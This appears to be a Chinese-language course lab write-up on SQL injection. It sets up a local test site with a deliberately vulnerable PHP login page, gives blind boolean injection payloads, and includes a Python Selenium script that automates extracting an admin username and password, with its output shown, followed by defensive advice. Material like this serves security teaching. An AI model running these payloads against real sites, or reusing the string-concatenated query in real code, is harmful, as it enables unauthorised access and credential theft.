通過 SQL 注入攻擊,掌握網站的工作機制,認識到 SQL 注入攻擊的防范措施,加強對 Web 攻擊的防范。
一、實驗環境
下載所需代碼及軟件:獲取鏈接:鏈接:https://pan.baidu.com/s/1CeSKujRFC2DzGx_xDwT8fQ 提取碼:qlgr
(1) 下載並安裝WAMP,文件夾下的wampserver2.2d32位
(2) 運行python漏洞利用腳本的環境,需要安裝selenium庫及瀏覽器對應的ChromeDriver版本
二、實驗准備
(1)了解網站的運行機制和原理。
(2)了解 asp、php、jsp 或者 asp.net 語言的工作原理。
(3)熟悉數據庫 SQL 語言。
(4)在 Internet 上搜索 SQL 注入的相關文章,學習 SQL 注入的原理和方法。
三、實驗內容
通過模擬 SQL 注入攻擊獲得某網站后台登陸密碼。
(1)通過本地服務器搭建模擬網站。
(2)測試其是否存在SQL注入漏洞,進行模擬攻擊。
(3)獲得后台數據庫中的存儲網站用戶和密碼的數據表。
(4)獲得其中一對用戶名和密碼。
(6)用獲得的用戶名和密碼驗證是否能夠登陸。
(7)為這個網站的SQL注入漏洞提出解決方案和防范方法。
(8)使用seleium庫撰寫python爬蟲腳本,自動獲取SQL管理員的用戶名和密碼。
四、WAMP服務器搭建步驟
1. 安裝wamp,啟動所有服務,“start all services”
2. 通過phpmyadmin,新建數據庫test,創建admin管理員賬號表,並添加相應的賬戶名和密碼(或者可以直接導入admin.sql)
3. 將login.php和verify.phpf放入wamp的www文件夾
其中login.php如下:
<html>
<head>
<title>Sql注入演示</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
<body >
<form action="verify.php" method="post">
<fieldset >
<legend>Sql注入演示</legend>
<table>
<tr>
<td>用戶名:</td>
<td><input type="text" name="username"></td>
</tr>
<tr>
<td>密 碼:</td>
<td><input type="text" name="password"></td>
</tr>
<tr>
<td><input type="submit" value="提交"></td>
<td><input type="reset" value="重置"></td>
</tr>
</table>
</fieldset>
</form>
</body>
</html>
verify.php如下:
<html>
<head>
<title>登錄驗證</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
<body>
<?php
$conn=@mysql_connect('127.0.0.1:3306','root','') or die("數據庫連接失敗!");
mysql_select_db("test",$conn) or die("您要選擇的數據庫不存在");//修改成數據名,此處為test
$name=$_POST['username'];
$pwd=$_POST['password'];
$sql="select * from admin where username='$name' and password='$pwd'";//修改成表名,此處為users
$query=mysql_query($sql);
$arr=mysql_fetch_array($query);
if(is_array($arr)){
echo "<script>alert('登錄成功')</script>";
}else{
echo "您的用戶名或密碼輸入有誤,<a href=\"login.php\">請重新登錄!</a>";
}
?>
</body>
</html>
瀏覽器打開http://localhost/login.php即可看到登錄頁面。
五、SQL注入的詳細步驟
1. 驗證存在SQL注入漏洞
用戶名輸入’ or 1=1#密碼無論輸入什么,均可以正確登陸:
原因是sql語句變成了:select * from admin where username='' or 1=1#' and password='123',任意數據庫的記錄都滿足該條件,因此arr是有效的。
輸入' and 1=1# 會返回賬號錯誤,但是不會報錯退出,因為sql語句仍然是有效的。
以上步驟確定了數據庫存在SQL注入漏洞,並可以通過此漏洞進行用戶名密碼的獲取。
2. 接下來可以猜測管理員帳號表
用戶名填' or exists (select * from admin)#
SQL語句變成:select * from admin where username='' or exists (select * from admin)#'...
如果登陸成功,說明數據庫中確實有對應的admin表格,而且很有可能是管理員帳號表。
在此列舉可能的管理員賬號表用於猜測:name_list = ['admin', 'admins', 'account', 'adminInfo', 'user', 'users', 'userInfo']
' and exists (select * from admin)#
也可以用來猜測,如果沒有出現如下圖的異常,說明數據庫中確實有對應的表名
3. 接下來猜測表中字段
根據已有的表名admin進行猜測其可能有的字段,一般的管理員表格都是通過id, username, password來登陸的。
輸入' and exists (select id from admin) #
沒有異常,即:select * from admin where username='' and exists (select id from admin)#' ...
可以執行,說明數據庫中確實有id字段
同樣的,可以猜測有password, username兩個字段
4. 接下來確定用戶名的長度
以下其他信息的獲取與上面有所不同。因為使用查詢不存在的表名與字段名,SQL語句均會報錯,而查詢不存在的用戶名與密碼時,SQL語句只會返回空的結果,於是exits語句返回為False。頁面正常但返回用戶名錯誤,只有將exist前的and換為or才能分辨兩者的區別。
' or exists (select id from admin where id=4) #
選擇可能存在的id號,能夠正確登陸。
' or exists (select id from admin where length(username)<6 and id=4) #
用於猜測對應的用戶名長度范圍(可用2分法)
' or exists (select id from admin where length(username)=5 and id=1) #
用於精確猜測對應的用戶名長度
5. 接下來確定用戶名
' or 4=(select id from admin where mid(username,1,1)='d')#
截取用戶名的第一位,猜測對應的值,相當於以下sql語句:
select * from admin where username='' and 4=(select id from admin where mid(username,1,1)='d')# ...
其中mid(username,1,1)
表示截取username從第1位開始長度為1 的部分,即用戶名的第一位,同樣試出對應的第二位(mid(username,2,1)
)到第五位,是david
,可用填入以下驗證:
' or 1=(select id from admin where username='david')
6. 確定用戶名對應的密碼
同樣的可以通過對應的id號碼試出密碼:anekeyzzz456。於是得到了后台的一個用戶名和密碼。
六、意外情況
1. sqli與sql不同
verify.php中$conn=@mysql_connect('127.0.0.1:3306','root','') or die("數據庫連接失敗!");
若使用mysqli_connect就會出以下問題:
並不是因為數據庫不存在,而是根本就沒有正確連上數據庫。經過修改以后,輸入數據庫中存在的admin/password能夠正確登陸。
2. WAMP圖標未由橙變綠,登陸時提示“數據庫連接失敗”
原因是WAMP數據庫未啟動,打開任務管理器>服務,打開相應的服務即可。注意安裝過自己的mysql的需要關閉,詳見WampServer中MySQL服務一直無法開啟
3. 同時有多個用戶名都滿足要求
我們嘗試select * from admin where username='' or 4=(select id from admin where mid(username,1,1)='d')#
時,如果首字母開頭為d的用戶名有兩個,則sql語句發生錯誤:
因為一個不可能與兩個相等,這時,我們必須要設置id是后面的子集才能成功。所以使用到in:
七、源碼及運行結果
使用python的selenium庫進行自動化爬蟲,按照以上步驟進行自動化嘗試。
import time
from selenium import webdriver
from selenium.common.exceptions import NoAlertPresentException
from selenium.webdriver.chrome.options import Options
class Webber:
interval = 0
chrome_options = Options()
chrome_options.add_argument('--headless')
alpha_dict = [chr(x) for x in list(range(97, 123))+list(range(65,91))+list(range(48,58))]
def __init__(self, url):
self.url = url
self.driver = webdriver.Chrome()
self.driver.get(url)
def get_path(self):
try:
return self.driver.find_element_by_name('username')
except:
return self.driver.find_element_by_name('user_login')
def login(self):
self.driver.find_element_by_xpath('/html/body/form/fieldset/table/tbody/tr[3]/td[1]/input').click()
def alert_is_present(self): # 彈窗代表登陸成功,否則進入異常或錯誤頁面。注意返回正常登陸頁面
try:
alert = self.driver.switch_to.alert
alert.accept()
return True
except NoAlertPresentException:
return False
finally:
self.roll_back()
def roll_back(self):
self.driver.back()
time.sleep(web.interval)
def try_value(self, value):
self.get_path().clear()
self.get_path().send_keys(value)
time.sleep(web.interval)
self.login()
time.sleep(web.interval)
return self.alert_is_present()
def get_table_name(self):
name_list = ['admin', 'admins', 'account', 'adminInfo', 'user', 'users', 'userInfo']
for name in name_list:
if self.try_value("' or exists (select * from " + name + ")#"):
return name
return None
def try_field_name(self, table, field):
return self.try_value("' or exists (select " + field + " from " + table + ")#")
def get_field_name(self, table):
field_list = ['id', 'username', 'password', 'user_login', 'user_password']
list_ = []
for field in field_list:
if self.try_field_name(table, field):
list_.append(field)
print("fields in table are: " + str(list_))
return list_
def has_id(self, table, id):
return self.try_value("' or exists (select id from " + table + " where id=" + id + ")#")
# 嘗試用戶名的長度 [m,M] 之間
def try_field_length(self, table, id, m, M, field):
return self.try_value(
"' or exists (select id from " + table + " where id=" + id + " and length("+field+")>=" + str(m) + " and length("+field+")<=" + str(M) + ")#")
def get_field_length(self, table, id, field):
m = 0
M = 100
assert self.try_field_length(table, id, m, M, field)
while m < M:
print(m, M)
mid = int((m+M)/2)
if self.try_field_length(table, id, m, mid, field):
M = mid
else:
m = mid + 1
assert m == M
return m
def try_field_i(self, table, id, i, field):
for t in Webber.alpha_dict:
if self.try_value("' or "+id+" in (select id from "+table+" where mid("+field+","+str(i)+",1)='"+t+"')#"):
return t
raise Exception("no such alpha!")
def get_field(self, table, id, length, field):
field_str = ""
for i in range(1, length+1):
print(i, end=': ')
ch = self.try_field_i(table, id, i, field)
print(ch)
field_str += ch
return field_str
if __name__ == '__main__':
web = Webber('http://localhost/login.php')
time.sleep(web.interval)
# 1. 驗證存在SQL注入漏洞'
if not web.try_value("' or 1=1#"):
print("this website doesn't have sql")
else:
# 2. 接下來可以猜測管理員帳號表
table = web.get_table_name()
assert table
print('table name is: ' + table)
# 3. 接下來猜測表中字段
assert {'id', 'username', 'password'} <= set(web.get_field_name(table))
# 4. 接下來確定用戶名的長度
# 下面以 id =4 為例嘗試其用戶名與密碼
assert web.has_id(table, '4')
l = web.get_field_length(table, '4', 'username')
print("length of username(4) is: " + str(l))
# 5. 接下來確定用戶名
username = web.get_field(table, '4', l, 'username')
print("username(4) is: " + username)
# 6. 確定用戶名對應的密碼
l = web.get_field_length(table, '4', 'password')
print("length of password(4) is: " + str(l))
password = web.get_field(table, '4', l, 'password')
print("password(4) is: " + password)
運行結果如下:運行代碼進行暴力嘗試,運行大概1分鍾,獲取了id=4對應的用戶名 david
以及密碼anekeyzzz456
。
table name is: admin
fields in table are: ['id', 'username', 'password']
0 100
0 50
0 25
0 12
0 6
4 6
4 5
length of id(4) is: 5
1: d
2: a
3: v
4: i
5: d
username of id(4) is: david
0 100
0 50
0 25
0 12
7 12
10 12
length of id(4) is: 12
1: a
2: n
3: e
4: k
5: e
6: y
7: z
8: z
9: z
10: 4
11: 5
12: 6
password of id(4) is: anekeyzzz456
八、防范SQL注入的方案
當數據庫對用戶在客戶端的輸入字符或語句不加限制的讀取到並執行時,就產生了sql注入漏洞,自然的當數據庫對客戶端的輸入進行了相關的限制和過濾后,使用預處理和參數化,sql注入的風險會大大降低。
有以下幾種基本的方法保護緩沖區免受SQL注入的攻擊和影響:
(1)利用sql自身所帶的轉義函數,可以把獲取到的客戶端語句進行相應的轉義。
(2)當然也可以進行過濾,既然測試者在構造payload時需要相關的字符,那將這些字符過濾掉確實是一種方法(比如將post請求中的%換成空,過濾注釋符#)。
(3)在客戶端和web 服務之間架一堵防火牆也不失為一種好的方法。一旦訪問中存在惡意的字符就會被阻斷掉。當然防火牆的設置並不代表后台服務器就允許存在sql注入漏洞,這兩者是一種動態的關系需要同時推進。
正如上圖所示,它會將前端輸入的參數用占位符“?”來代替,並把這條語句結果先和數據庫進行交付,再傳參。而不是一起傳進去。也就避免了不加節制的拼接前端語句